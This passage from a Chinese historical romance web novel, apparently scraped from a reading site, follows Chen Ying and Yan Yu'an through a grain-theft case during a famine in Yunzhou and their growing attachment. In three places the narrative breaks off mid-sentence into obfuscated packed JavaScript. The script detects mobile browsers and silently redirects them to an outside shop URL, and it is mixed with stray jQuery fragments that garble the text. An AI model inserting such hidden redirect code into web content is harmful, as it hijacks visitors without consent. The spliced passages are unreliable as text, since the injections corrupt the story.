借着微弱的火光,隐约瞧见院中还立着几个人,只是隔得太远一时难以分辨。 陈英动了动唇,正准备问是不是出了什么事。突然一个无比熟悉的,清润如玉的声音传来,“阿英?” 这声音一出,陈英竟呆住了。她慢慢挪开视线,就看见黑暗中有人朝她走来,等到看清来人的那一刻,她像是被施了定身法,彻底不知所措。 可脑子却还在转动,深更半夜他还要外出,定然是发生了大事。 言昱安以为她是被吵醒,上前替她掩了掩衣襟,“偷盗粮饷的匪徒已经抓到了,我去瞧瞧,你先睡吧,不必担心。” 许是受了些凉,他的声音有些沉哑。交代完这句后,正要转身离去。 陈英却是精神一振,这半宿忐忑不安的心,终于在听到这个消息后踏实落地了。思绪一转,她忽然抓住言昱安的衣袖,仓促道,“你且等一等。” 柔婉的嗓音里尽是女儿家的娇媚,言昱安心神一晃,沉凝的眉宇不自觉舒展开,温声应了声,“好。” 说完,转头扫了眼身后的平康。平康向来是个机灵的,言昱安的眼神扫过来,他立马就明白了意思。当下默默颔首,领着院中几人悄无声息地离开了。 几息的功夫,陈英已穿戴整齐地走出来。她拉住言昱安的手,往他手心里塞了个小手炉,“夜里寒气重,带上吧。” 见她披上斗篷,言昱安瞬间明白,她这是打算要和他一同出去了。 小手炉温温热热的,还飘散着幽幽的鹅梨帐中香,甘甜芬芳的气息瞬间充盈肺腑。这一刻,他的心也柔软起来,朝她上下打量了一眼,忽然弯起唇角,“想和我一起去?” 刷的一下,陈英红了脸,对上面前这张俊美清朗的面容,她的目光不自然地躲闪了一下,咬着唇点了点头。 言昱安垂眸凝视着她,好半晌,他才终于轻叹一声,“好吧。” 说着,他就将陈英头顶的兜帽理了理,确定捂得严实之后,才牵着她的手一同往外走。 马车在寂静的街道上行驶着,陈英虽不知要带她去往何处,但也没打算开口询问。方才被言昱安牵着手一路走出府,她的内心已再无慌乱,取而代之的,竟是一种隐秘的欢喜。 此刻马车内光影摇曳,男子幽邃的眼眸里,闪动着澄澈而温柔的光泽。那俊美无俦的面庞上眉眼舒展,有着不同于往日的悠然惬怀。 这样的言昱安,实属少见。 陈英呆呆的望着,像是要将面前的男子深深印刻在脑海中。 仿佛临水望月,偷偷掬一捧月光,珍之藏之。 此时,仓廪府库内灯火通明,十几个彪形大汉被五花大绑着跪在院中。陈英随着言昱安步入粮仓内,不一会儿护卫便压着一人进来。 乍然暴露在光亮处,那人挣扎着身子,本能地撇了撇脸,倒是让众人看清了他的长相。 那人是个大胡子,浓密的短须从腮帮子一直延伸到下颌处,面相有些凶。虽不曾见过,可莫名的让人觉得有些熟悉,却又一时说不上来。 大胡子被反绑着,待看清面前的人后,骨头就像软了似的,忙不迭地跪下磕头,“求大人饶命,求大人饶命啊。” 言昱安眉间一沉,“巡防营那批粮饷,可是你们盗走的?” 听了这话,大胡子突然抬起头,露出一双惊恐的眼睛,默了会儿,然后哆哆嗦嗦地说,“小人不知,小人什么都不知道啊大人。” “赶紧招了,世子爷面前不得撒谎。”护卫直接抽刀架在他脖颈上。 大胡子吓得浑身一激灵,卡在喉咙里话,竟是再也吐不出。 而后,他望向言昱安,眼神里尽是哀求,“小人原也是本分的农户,家中有几亩薄田,后来受了灾荒,不得不卖地卖马,高价买粮充饥,可还是撑不住啊。家中妻儿老小都活活饿死,如今就只剩小人和小儿了。” 言昱安看着他,浓眉一挑,“所以就铤而走险,拉帮结伙,以沙土调换了府库的粮饷?” “不不不,小人真没那个胆子啊。”大胡子拼命摇头,丝毫不顾脖颈上被刀刮出的血痕,“小人也是被逼的啊,他们说只要小的听从差遣,就会赏我们父子俩一口饭吃。” 他忽然激动起来,眼中泪光闪动,“小儿才四岁,饿得就剩一把骨头,我实在是没法啊。就算是拼尽我这条命,我也想让他活下来啊。” 言昱安手下这些护卫,多半是从血泊中厮杀出来的。可听到这样的话,仍不由地动起恻隐之心。尤其是想到这一路行来,沿途见到南下逃灾避难的流民,还有满目疮痍的城池外饿殍遍地,恶臭熏天。即便是到了夜里,仍然还有连绵不绝的哭嚎声,在呼啸的北风中盘桓不散。 “他们是谁,还有那批粮饷现在何处?” “小人不知啊,他们也都一直蒙着面。我们几个只负责将粮饷偷运出去再掉包送回来,外头自有人接应,至于其他的我们一概不知啊。就是为了一口饭,我们才不得已替他们卖命的啊。” 顿了顿,他又说,“隔三差五,他们会许我们与家人相见。看到小儿吃饱穿暖,活泼康健,我就是死也值了啊。” 脑中不由浮现出前日见到儿子的画面,他的脸上竟露出心满意足的表情,甚至也有了甘愿赴死的勇气。 “倘若今日你死了,可想过他们会将你儿子如何?” “他们,他们……”大胡子喃喃着,眼神茫然且空洞,最后他肩膀垮了下来,后面的话却是再也说不下去了。 虽然他斗大的字不识一箩筐,但也明白这世道上如他这般的人,命该有多轻贱呐。像是堕入无边的黑暗深渊中,无论他如何挣扎也注定是徒劳,只会永生永世不得解脱。 言昱安让护卫将架在大胡子脖颈上的刀收起,灯烛辉煌,映照在他沉郁的侧脸上,也映照在地上散落的一个个谷堆上。 他眉眼沉凝,同大胡子直接开门见山,“我可以给你一个将功赎过的机会,也能帮你救出儿子,保他此生平安顺遂。但你也有可能会因此丢了性命,你可愿意?” “只要大人能保住我的孩儿,小的甘愿上刀山下油锅。”大胡子粗哑的声音里带着激动的颤音,满是尘土污浊的脸上更是转悲为喜。 他匍匐在地上,冲着言昱安重重地磕了几个头。 今夜见到的事情太过震撼,陈英手里的暖炉早已熄灭,手指也一点点变得冰凉。和言昱安回到马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289379|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车后,心神实在难安,还是开口问了他,“我看府库里明明米粮堆积如山,可为何没有拿出来赈济灾民?” 她知道言昱安在调查粮饷被盗一事,也晓得外头如今多么缺粮,可也万万没想到城内仓廪府库中,竟然会有那么多的米粮谷堆,多到令人心寒的地步。 “先前我雇了灾民去城外挑沙子,你可还记得?”言昱安伸手握住她的手,脸色立时就沉了下来。 见陈英一脸迟疑地点点头,他拿走她怀中的暖炉,又将自己的手炉塞进她手心里,“你今日所看到的谷堆,便是那些沙子,上面不过是撒了一层米粮而已。” 云州城积弊已久,又是战乱是非之地,如今遇上灾荒年,百姓们越发艰难度日。郊外农田也皆被敌寇马蹄踏毁,城内十户有九皆是清灰冷灶。朝廷与北狄开战是为收复失地,免叫边境子民遭受战乱之苦。原本是件好事,可最后还是免不了生灵涂炭,让云州百姓再次陷入水深火热之中。 言昱安虽然也支持朝廷收复失地,可此刻还是忍不住喟叹,“倘若护不住一方百姓,那要这一座空城又有何用。” 见男子双唇紧抿成一线,陈英就这么静静地望着他,却如何也说不出宽慰的话来。犹豫了一会儿,身子在坐榻上挪了挪,然后她将头一歪,轻轻地靠在男子的肩窝里,“我相信有你在这里,云州百姓一定会平安度过这次难关。” 言昱安垂眸凝视着她的脸,眸光沉沉,忽然他低下头,封住了陈英的唇。他的吻来得如此汹涌,明显带着一股冲动,在柔嫩的唇瓣上流连过后,他又强势地顶开贝齿,勾缠住她的丁香小舌纵情索取着。 陈英感觉快要透不过气,忍不住嘤咛出声,却被人拦腰抱在了腿上。 骤然间,她获得喘息的机会,瞪大水雾迷蒙的双眼,不可置信地望向言昱安。 即便是在春闺痴梦里,她也不曾见过这般情景,这是她终其一生都不敢动的欲念。 身体上的亲密接触,就像打破了她心底禁锢的枷锁,让她也越发清醒过来,言昱安虽没有亲口承认过什么,可他俩这一路相伴的点点滴滴,早已在举手投足间,互通心意,情根深种。 她一面眼睁睁看着自己沉沦,又一边不断提醒着自己,万不可跌入情天孽海之中。从最一开始少女春心的萌动,到后来求而不得的苦涩,如今却成了飞蛾扑火般的痴狂,而后便只剩下亘古未有的悲痛。 如果往后余生注定是悲痛,那她此刻与言昱安共度的每一个瞬间,将会是她此生最美好,最珍贵的记忆了吧? 能拥有与他共度的美好回忆,想必往后那些悲苦的日子也不会太难熬了。 这时,她迷茫的杏眼忽然一亮,眉眼弯弯,咯咯笑了起来。她伸出手轻抚着男子的下巴,一遍又一遍,不知过了多久,才听到她带着几分慵懒的甜润嗓音,“早就想摸一摸了,果然是有些扎手啊。” 言昱安眼中早已恢复清明,面对她这般轻佻的动作,却丝毫没有愠色。反而觉得心底某个角落被填满,充盈而满足。 突然,他按住那只不断撩拨的小手,俯身将唇贴在她的耳垂上,声音沙哑得不像话,“阿英,永远不要离开我。” 陈英脸色一僵,望着面前如玉如月般的男子,她的嘴角竟浮起一抹苦笑。 51. 第 51 章 外面的天光一点点透窗照进来,室内依旧静谧如斯,时而能听见外头轻微的脚步声。昨夜回来得晚,故而今早底下人并未催起,陈英索性一觉睡到了晌午。 她将长发绾成男子发髻,身上仍穿着小厮的灰棉袍,检查并无不妥后,才打开房门。 很快便有丫鬟将膳食送过来,一盅小米粥,一碟芙蓉糕,两样清淡小菜。 若是在从前,她也觉察不出什么。可经历过昨夜的事情,再乍然看到这些饭菜,她忽然有些食不甘味。 “城主府里不缺米粮吗?” “不缺呢,整个云州城也就咱府上日日起灶。”小丫鬟又压低声音说,“之前我们都不晓得府里头到底有多少米粮,还是言大人下令盘点才晓得,府里的米粮还多着呢。” 陈英这才展颜一笑,拿过一块芙蓉糕慢慢吃着,又一边问她,“那他后来可有开仓施粥,赈济灾民?” “那倒没有。”小丫鬟摇摇头,像是想起了什么,喃喃自语着,“好像也有人提过一嘴,后来就不知道了。” 陈英一怔,忽然觉得口中的芙蓉糕有些难以下咽,笑容也淡了下去。 一连几日,言昱安都是早出晚归,而陈英自那晚后就有意在躲着他了,是以两人也有数日不曾打过照面。 直到这日崔朗登门拜访,又恰巧言昱安和平康不再府中,护卫只好来过请示陈英。 陈英自觉不宜露面,她垂着双眸,思量了会儿说,“先问清他是否有要紧的事。” 护卫应声退了出去,不多时又折返回来说,崔校尉今日是专程来登门道谢的。 陈英略有些惊讶,“他来道什么谢?” 护卫也不知情,但他晓得眼前这位是主子爷心尖上的人,自是不敢怠慢。正准备出去找人问问,就见陈英起身往外走,这才忙着跟上去带路。 陈英刚走到回廊下,就瞧见花厅里有个身影,正背着手在里面转悠着。 她大大方方走进去,朝崔朗双手一拱,“见过崔校尉,世子爷有规矩,属下们不得过问主子行踪,是以不能代为通禀,还请校尉见谅。” 要知道,崔朗今早看到几个破衣烂衫的流民,将一队运粮车一字排开摆在营地外,大声叫喊着让巡防营来人接收。那场面实在令人瞠目结舌,再加上附近灾民聚集,一时间竟是吸引来许多人徘徊观望,所幸是在巡防营门前,因而无人滋扰。 最后,在众目睽睽之下,巡防营将这批米粮仔细盘点,这数量恰巧与被盗的粮饷吻合。 这世间哪来这么多巧合?显然是将被盗的粮饷找回来了啊。 崔朗当即大腿一拍,兴冲冲就赶来城主府。得知言昱安不在府里,他依然兴致不减,坚持要当面致谢。 “无妨,我就在这里等大人回来。”崔朗哈哈一笑,语气极为豪爽。 陈英越发好奇,试探着问他,“看崔校尉这般开怀,可是被盗的粮饷有下落了?” 崔朗挑眉望了她一眼,刺着嗓子惊叫起来,“你不晓得?言大人派人把粮饷都送到我巡防营门口了。” 陈英这才后知后觉,想起那晚在仓廪府库抓到的那伙人。心思转了几转,也很快明白过来,想必是利用大胡子与背后之人的牵扯,顺藤摸瓜,已经人赃并获。 见她有些愣神,只当是不知情,崔朗又把事情经过绘声绘色地讲了一遍。 说完后,他更是长吁短叹,满脸的心悦诚服,“竟然都没有动用一兵一卒,只雇了些流民就将粮饷稳稳当当送回来了。言大人不愧是国之栋梁,真乃神人也。” 就算是在他执掌多年的巡防营里,那些军需粮草也都只派心腹之人看守,更何况眼下正值灾荒年,粮食堪比人命,比任何金银财宝都还要珍贵。足可见,这位世子爷足智多谋,行事周密稳妥,的确有高世之才。 “你们有朝廷分拨的粮饷,可城内受灾的百姓呢?” 陈英忽然抬眼望向窗外一方天空,声音有些缥缈,“如果朝廷不开仓放粮,那他们要靠什么才能熬过这个冬天。” “哪有那么简单哟,之前老城主就执意要开仓放粮,可结果呢?” 崔朗皱着眉,口中发出啧啧两声,“那些灾民饿狠了,就跟疯了似的,一窝蜂聚集在义仓门口互相哄抢,甚至还有不缺粮的富户都跟着凑热闹。场面那叫一个乱,得亏我当时带兵过去才镇压下来,不然那殴打踩踏致死的灾民,可就要比现在饿死的还多呢。” 陈英惊呆了,一时间口中讷讷,却说不出话来。 崔朗就着茶盏灌了一大口,然后砸了咂嘴,复又抬眸瞥了她几眼,突然就起了兴致,开始八卦起来,“我瞧你们言大人将来前途不可限量,只要你尽心伺候着,将来保不齐能给你谋个好前程呢。” 言昱安跨进门时,刚好听最后那句意味不明的话,脸色当下就有些不好看。目光在陈英身上略顿了顿,便举步朝里走去。 “言大人回来了。” 崔朗连忙起身,拱着手笑嘻嘻说,“卑职专程来向大人致谢的。” 他又从袖中取出一份公函,颇为自得地递到言昱安面前,语气里隐有几分邀功的意思,“这是卑职写好准备发给朝廷的奏报,还请大人过目。” 言昱安接过公函打开,只略扫了几眼,又扔回崔朗怀里,冷笑一声,“崔校尉的治军本事,言某不知,但这笔墨功夫倒甚是了得。” 语气很是冷硬,冷得令崔朗倒吃了一惊,他是诚心实意上门致谢的,还特意写了奏报颂扬言昱安的功绩。哪晓得,拍马屁拍到马腿上,反而自讨个没趣。 陈英察觉出气氛尴尬,脚尖一转,正要悄悄退出门外,就听见背后男子熟悉声音传来,“阿英,明日不要出府。” 言昱安这几日早出晚归忙着查案,也一直没有机会和她说上话。今日在牢狱中审完案犯,明日几个主犯就要被押往闹市中明正典刑。他自然不希望陈英出门撞见,是以要这般嘱咐一句。 “嗯?”陈英心中一慌,连他说的话都没太听清,只能停下脚步,手足无措。 言昱安这时候已经转身,引着崔朗去看墙上城防图,一边谈论着政务。 陈英一时间站也不是,走也不是。好在这时,平康端着一个瓷盅过来。 他探头往里一瞅,见言昱安正和崔朗谈公事,也不敢上前打扰。 正犹豫着,突然瞧见陈英走出来,他当即笑眯眯地迎上去,将药盅往陈英手中一送,“有劳英姑娘了。” 虽说世子爷心思深重,从不外露,但要说谁能揣测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289380|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一二,也就非平康莫属了。他一直都晓得世子爷心里是在意英姑娘的,毕竟姑娘是在世子院里长大的,光是这情分也是旁人不可比的。 可他这一路看过来,自然也瞧出两人关系变得有些不寻常。可他一个下人实在不好多说什么,只是庆幸这两人虽举止亲厚,但也克制守礼,并未越过雷池。只要这一程平安回京,日后英姑娘变成英姨娘,也是早晚的事。 见陈英一脸错愕,他又低声解释了句,“世子爷这几日操劳过度,夜里犯了肺热,一直硬撑着都顾不上吃药。方才大夫还嘱咐了,这药得趁热喝下才奏效。” 言外之意不言而喻,陈英端着托盘,指尖隐隐泛白。 这时屋内忽然一静,显然是听到外头的声音。紧接着,里头传出一个熟悉的男子声音,“外头是有何事?” 平康赶紧闭上嘴,冲着陈英一顿挤眉弄眼,示意她赶快进去。 说实在的,陈英只觉得头皮发麻,脸上更是白一阵红一阵的,恨不得立即脚底抹油避了开去。 平康觉察出她有些想打退堂鼓,抬腿往人面前一挡,清了清嗓子大声回了句,“禀世子爷,这会儿给您送药来了。” “进来吧。” 这下真是骑虎难下了,陈英心里哀叹一声,只好端着药盅,又慢吞吞地进了屋。 东厢里,偌大的书案上公文堆积,角落处的香炉中,提神醒脑的佩兰香正袅袅升起。 陈英抬头向墙壁处望去。果然,巨幅舆图之下,两人正背对着她低声交谈着。 她抿着唇,默了一会儿,终于等到两人谈话的间隙,试着开口唤了一声,“世子爷。” 言昱安闻言一怔,侧眸望过去,倒是没想到进来的是陈英,忽然就起了捉弄的心思,弯唇一笑,“今日怎么舍得多待会儿了?” 这话是有意在点她这几日总是故意躲着他,只不过彼此都心照不宣罢了。 “平日你也不在府里啊。”陈英梗着脖子低低回了一句,语气还颇有些理直气壮。但心里其实虚得不行,就怕他当着崔朗的面,再多说些有的没的。 干脆也不再扭捏,提步朝言昱安走去,把药盅往他面前一递,小声命令他,“快喝药。” 言昱安也没说什么,只微微抬起手,扇了扇药盅上升腾的白气。然后他抬眸望着陈英,颇为无奈地笑了笑,“闻着太苦了,我不想喝怎么办?” 这时,一旁的崔朗眼珠子都要瞪出来了,这是?这是方才和他铺谋定计,国之翘楚的言大人? 一时间,他错愕地望着面前二人,怎么看都觉得古怪,却又百思不得其解,再看向陈英的眼神不免多了几分怀疑。 陈英此时也有所顾忌,咬着唇也不敢多说。径直端起药盅,往言昱安手里一放,然后从怀里取出个鼓鼓囊囊的荷包打开,捻起一枚蜜饯梅子就往言昱安嘴里塞。 言昱安口中含着蜜饯,这才将药喝下。再抬眸时,他的唇边微微勾起,溢出一丝宠溺笑容。 见他乖乖将药喝下去,陈英终于松了口气,头也不抬地收起空药盅就走,慌乱的脚步,泄露出几分落荒而逃的意味。 望着陈英离去的背影,崔朗惊得下巴都要掉到地上,只觉自己窥见了什么可怕的事,脸上一下涨的通红。 52. 第 52 章 等陈英走远了,崔朗脸上的神色这才缓和了些,但还是心有余悸。抬眼朝身旁的男子偷偷觑了一眼,他便低下了头,觉得后背乍起一阵燥热。 而那厢,言昱安悠然地走到墙壁之下,一边仔细查看城防图,一边嚼着蜜饯,脸上的神情更是少见的快意,显然心情十分舒畅。 很是突然地,他随口唤了声崔校尉,却迟迟不见身后之人应答。 蓦地,他转过头来,双眼微眯地盯着崔朗,“方才交代的几个点,你可记下了?” “啊?”崔朗抬起头,愣了会儿才醒过神来,“记下了,卑职全都记下了。” 崔朗脑中的八卦轰然散去,面上又恢复了沉肃。适才和言昱安交谈中得知盗粮案的始末,短短数日,就能将这伙盗匪与背后销赃的米粮铺一网打尽,这般雷霆手段,着实令人惊叹。 崔朗起先多少存了些看戏的心思,可如今这情形,他自然不敢再吊儿郎当地躲懒了。明日云州城中只怕又要掀起动荡,以防不测,事先得调动巡防营提前做好部署。 这样一想,隐约觉得哪里有些奇怪。直到对上言昱安那双仿佛洞悉一切的眼神,他这才恍然大悟,只怕是连他今日这趟登门致谢,也尽在言昱安的预料之中了。 “明日起,严查城内所有米商粮铺。倘若账簿记载与城门进出货物查验不相符的,一律上报严查。” “是,卑职领命。” “如此便要有劳崔校尉了。”言昱安在太师椅上坐下,手臂轻抬,朝对面一指,“坐吧。” 崔朗颔首,刚一落座,就听到上首清朗的声音再次传来,“眼下云州正值灾荒年,若是治理得当,待解了云州之困后,凡有效力者,言某自会向朝廷请功受赏。” 这是要求他做出些政绩来,同时也是给他吃下定心丸。崔朗是个聪明人,瞬间就明白他话里的意思,赶忙起身,双手抱拳,“卑职一定竭尽全力,唯言大人马首是瞻。” 傍晚时天降大雪,陈英坐在暖炉边烤火,一边埋头绣着帕子。自从上回帕子被言昱安拿走后,她也一直没寻着机会找他要,想了想,索性再绣一个便是了。 到了晚膳时分,两个丫鬟提着食盒过来。等饭菜摆上桌,陈英忍不住问了句,“今日怎的多了一个菜?” 丫鬟也是一脸茫然,摇摇头后便退了出去。 如今云州城里还闹着饥荒,城主府里这般膳食,实在太过奢靡。她忍不住皱了下眉,想着有机会定要跟言昱安提一提。 正想着,就见言昱安掀开挡风的门帘,走了进来。 他的身上落了一层薄雪,火光之下,晶莹明澈的双眸似染上一层水汽,正目不转睛地看向她。 那眼神有着如水般温柔,似乎还漾着说不出的温情,对上这样的目光,陈英只觉得呼吸一窒,她下意识攒紧手指,突然指尖传来一阵刺痛,低头一看,原来是帕子上的绣花针扎到手指了。 看着指尖慢慢冒出殷红的小血珠,她还在愣神时,言昱安的大手已经握住她的手腕。 感觉到他手上的凉意,陈英的手抖了抖,下意识想要抽回。就在这时,言昱安低下头,在那血珠上轻轻一吮。这一瞬,陈英骤然睁大了双眼。 指尖被他舔舐着,激起一阵温热而柔软的陌生触感,令她不可自抑的颤抖起来。陈英两腮羞得通红,连忙低下头,讷讷地开口,“好了吧。” 语气中带着几分女儿家的羞涩与无措。 言昱安这才放开她的手,转身走到门边,吩咐人进来添一副碗筷。陈英悄悄握紧手心,到这时才明白过来,今晚为何多添了一道菜。 等碗筷摆好后,二人便开始用饭。言昱安仍有些不放心,还是提了句,“近来城中可能不太平,从明日起你就不要出门了。你父兄的下落,我派人还在暗查,你在府中等消息便好。” “那些盗匪不是都已经抓到了吗?怎么还会不太平?”陈英下意识便抬头看他。 这一抬头,便注意到他眼眶下已有一层淡淡的青灰色,原本光洁的下巴也冒出一些细密的胡茬。陡然意识到,她已许久不曾这般近距离地看他了。那样风姿卓绝的人,如今满身疲惫,这样一想,她不禁红了眼眶。 这一幕,落在言昱安眼里,就解读出别的意思了。言昱安心一软,又温柔地补了句,“你若实在想出府,我可以陪你一起去。” “不不不,我不能给你添麻烦了。”陈英连忙摇头,解释说,“我知道你暂代城主之职,每日忙得早出晚归。都是因为我,你才会在云州摊上这些事,我心里已经觉得有愧了。” 起初要跟他来云州,也不过是一个借口罢了。那些前世的梦里,始终没有见到阿爹和阿兄,或许这兵荒马乱中,他们早已不在人世了吧。只不过对她而言,似乎只有坚信父兄还活着,她才感觉到自己的家还在,她不是孤零零的一个人。 她用筷子扒着饭,却有些食不下咽。 言昱安见她心绪不宁,一时也不知该说些什么,长长叹出口气,便将她手中的筷子撤走。 他一把将陈英拥入怀中。 陈英眼眶里的泪水再也绷不住,簌簌地直往下落。 言昱安轻抚着她的后背,感觉出怀中女子在低低啜泣,他从腰间取下一枚鱼形玉佩,戴在了女子脖颈上,“这块玉佩护佑着我平安顺遂,想来是有些灵气的,现下送与你,希望你所念皆能如愿。” 陈英低头看向胸前的玉佩,然后她下巴一抬,泪眼盈盈地看向面前的男子。 目光交汇中,她对上了言昱安满是怜惜的眼神,想要推拒的话,生生卡在喉咙里。 埋下头,摸索着玉佩上的纹路,指尖传来的温润感,和男子怀抱里的温度一样,心里竟莫名地踏实。她侧着脸靠在他胸膛里,瓮声瓮气低语着,“怎么办,我好像变得越来越贪心了,越来越舍不得你。” “那就不要舍下我,可好?”言昱安慢慢松开她,低下头贴着她的额头,唇角带着笑,极温柔地说,“你可以多劝劝自己,以后不要再躲着言昱安,要对他温柔小意些,或许将来他真会替你谋个好前程。” 一句话,便将崔朗昨日的戏言还了回来。 陈英彻底愣住了,一时间尴尬得不知所措。她又不是秦楼楚馆的伎子,要用尽浑身解数,才能跟人讨个恩赏? 扣在玉佩上的指甲一点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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云州正值灾荒年,如此行径,无疑是彻底断了老百姓的活路。先前还能砸锅卖铁买到高价米粮,可如今这样一闹腾,往后老百姓可就连高价粮食都买不着了啊。 他说的事情陈英事先并不知情,难免就有些底气不足,“还请诸位稍安勿躁,等言大人回来后一切自有分晓。” 既然言昱安能预先嘱咐她不要出门,那今日这局面必定也在他意料之中了。这样一想,她才稍稍放下心来。 这几个人见她态度谦和,且又是在言昱安面前能说得上话的,于是也不再拿腔拿调,几个人你一言我一语地发起牢骚来。陈英一边应和着,一边默默将他们的话记在心上。 这天过后,城中又有几家米店粮铺被官府查抄。一时间,云州城内那些正常营业的米店粮铺纷纷开始涨价,更有二道贩子闻风而动,开始大量抢购米粮,以图囤积居奇,牟取暴利。 即便是言昱安施法以工代赈,雇佣了城内大批闲散的灾民,可城内百姓依旧怨声载道。 直到有一天,官府下发告示,称官府存粮告急,愿以三倍于时价的价格收购大宗米粮。若有外地粮商将米粮运往云州城,官府还会派人前往一同护送。 消息一传开,震惊全城。 53. 第 53 章 这段时间,云州城内缺粮的情况日益严峻。 陈英虽然再没出过府,但也每日打听着外头的情况。可得知外头百姓对言昱安骂声一片,她心里比谁都难过,整日愁眉不展,夜里更是噩梦连连。 今夜她又梦见阿爹和阿兄了。 梦见他们在纷飞大雪中叩门乞食,阿爹瘦得脱相,单薄的身躯在漫天风雪里犹如一片枯叶,摇摇欲坠,令人揪心。 陈英再一次从梦中惊醒过来。她抚着胸口急促喘息着,好半晌才镇定下来。 她相信言昱安行事自有他的道理,但叫她眼睁睁的,看着百姓们对他心生怨恨,她实在是做不到。 随着夜色渐深,对面言昱安的寝屋中,终于亮了灯火。望着那骤然明亮的窗纸,听见庭院中轻缓的脚步声,陈英惺忪的睡眼陡然一亮,立刻披衣起身。 这段时日,她已经许久没有见到言昱安了。有一回,她守着灯火,坐在窗边等他回来,可是等啊等,等得蜡烛燃尽,她已歪在圈椅里睡着了,也不曾等到他回来。可当她翌日醒来时,却惊奇地发现自己是躺在床榻上的。 后来她私底下问过院里的下人,才晓得那晚言昱安曾经来过。 陈英摸了下胸前的玉佩,不禁有些失神。她将玉佩塞进衣襟内,然后裹紧斗篷,轻轻推开了门。 此时夜阑人静,只有北风冷飕飕的,刮在人脸上都生疼。陈英站在回廊下,望着窗纸上映出的浮动光影,恍惚而迷离,虚虚实实,便如他们之间的感情,如梦似幻,终为泡影。 那人纵有千般好,终不是她的良人。待云州困境解除后,惟愿他早日平安归京。 陈英望着那道光影,不知不觉,她的脸色有些发白。一阵冷风袭来,她浑身一激灵,口中喃喃自语着,“罢了罢了。” 于是她紧了紧斗篷,转身正要回去,就听见一阵急促的咳嗽声打破了夜的沉寂。 她的神经陡然紧绷起来,似乎能感觉到咳嗽之人的隐忍与克制。伴随着那一串压抑的咳嗽声,她的心也跟着一起颤抖起来。 鬼使神差地,她走到言昱安的门前,犹豫了一瞬,还是推开门,走了进去。 言昱安望着陈英进来,展眉一笑,“你来了。” 陈英摘下兜帽,苍白的小脸映入他的眼帘。这时的她眼眶微红,神色凄惶,显然是忧思多虑,究其原因也并不难想。 言昱安望着她,也不询问,上前替她解下斗篷,视线在小姑娘的身上掠过,发觉几日未见,人好像瘦了一圈。 这时陈英抬起头来,她对上了烛光中言昱安温柔如水的眼眸。他直直的看向她,慢慢的伸出手抚上她尖细的下巴,语气里有些心疼,“你瘦了。” 瞬息间,属于他的气息扑面而来,熟悉的草药味混着甘松香的味道,丝丝缕缕,连绵不绝,仿佛要倾注到她的灵魂深处,激得她心潮翻涌,呼吸急促起来。 那只手温柔地拂在她面颊上,修长如玉的指尖带着某些流连的意味,像是缠绵的春风,带着勾人的醉意。言昱安含着笑,温柔地看着她,“阿英因何而脸红?” 声音轻柔得像微风拂过沙丘,低缓而沉磁的声线里,是不加掩饰的情动与暧昧。 陈英只觉呼吸一窒,心跳如鼓。这样一个夜晚,感官似被无限放大,也将人心底潜伏于最深处的欲望无限放大。在此之前,她也许并不知道,一个姑娘家深更半夜钻进男子的寝居中,究竟意味着什么。 这时的她,心里说不清是恐惧,还是另一种隐秘的期待。 骤然间,言昱安收回了手。 他眼神立刻恢复清明,转身走到桌案后,“最近查到一个关于你家人的线索,但可能会让你失望,所以我一直没有告诉你。” 说着,他取出一封信函,递到陈英手里。 “他们都还活着吗?”陈英急切地问出口,双目赤红地盯着言昱安,想要从他的表情中得出那个她所期望的答案。 “他们……”她鼻尖泛起酸涩,眨了眨泪水迷蒙的双眼,手中握着信函,却是迟迟没有勇气打开。 言昱安心疼得紧,可喉咙像是被堵了一团棉花,怎么也开不了口。 “若是一日见不到他们,我便找他们一日。无论如何,我都不会放弃的。”她幽幽地说着,声音不大,但每一个字像是深深地刻在了心里。 就在陈英神情哀切时,她的手心陡然一空。却是言昱安将那封信又抽了回去,就着桌上的烛台点燃,雪白的信纸瞬息化为灰烬。 望着火焰一点点熄灭,陈英眼底仿佛也失去了亮光。言昱安实在不忍,再次走到她面前,却并未再靠近,而是温柔地笑着,朝她伸出了手。 他做这个动作的时候,眼神是从未有过的郑重,似乎是在做出某种承诺。 就在他眸光沉沉地看过来时,陈英只觉得面前一幕好似镜花水月,虚幻无实。方才他的手还轻抚在她的脸上,令她产生了一种荒唐而圆满的错觉。 可只是一转眼,陈英却悚然惊觉,他依旧是遥遥天边,可望不可得的明月,而她始终只能临水望月,求而不得。 飘摇的烛光将他的影子拉长,悠悠荡荡着,像是水面上浮动的月光,飘渺中带着令人心醉神迷的蛊惑。 陈英的腿一软,手却是紧紧扣住掌心。 言昱安敏锐地觉察到她的变化,眼神瞬间便黯淡下来。他垂着眸,浓密的眼睫在那张俊美无匹的脸上落下浅浅的阴影。 默了会儿,他眼底眸光忽然闪动,望着地上两人相隔的距离,声音却轻得像一片羽毛,“原来阿英并未倾心于我啊。” 陈英咬着唇,极力地忍住想要否认他的冲动。 言昱安抬起头来,他静静地凝视着她的脸,只等着她开口。 